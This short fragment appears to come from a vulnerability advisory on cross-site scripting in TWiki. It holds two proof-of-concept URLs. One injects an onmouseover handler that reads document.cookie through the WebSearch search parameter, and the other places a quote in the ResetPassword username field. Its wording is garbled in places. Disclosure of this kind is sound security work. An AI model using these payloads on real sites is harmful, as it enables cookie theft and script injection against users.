An HTML form field must exist containing an input value with specifying an encoding. As an example:
THe following examples will then demonstrate this issue:
http://example.com/twiki/view/TWiki/WebSearch?search=%27a%20onmouseover=alert(document.cookie)%20%27
http://example.com/twiki/view/TWiki/ResetPassword?username="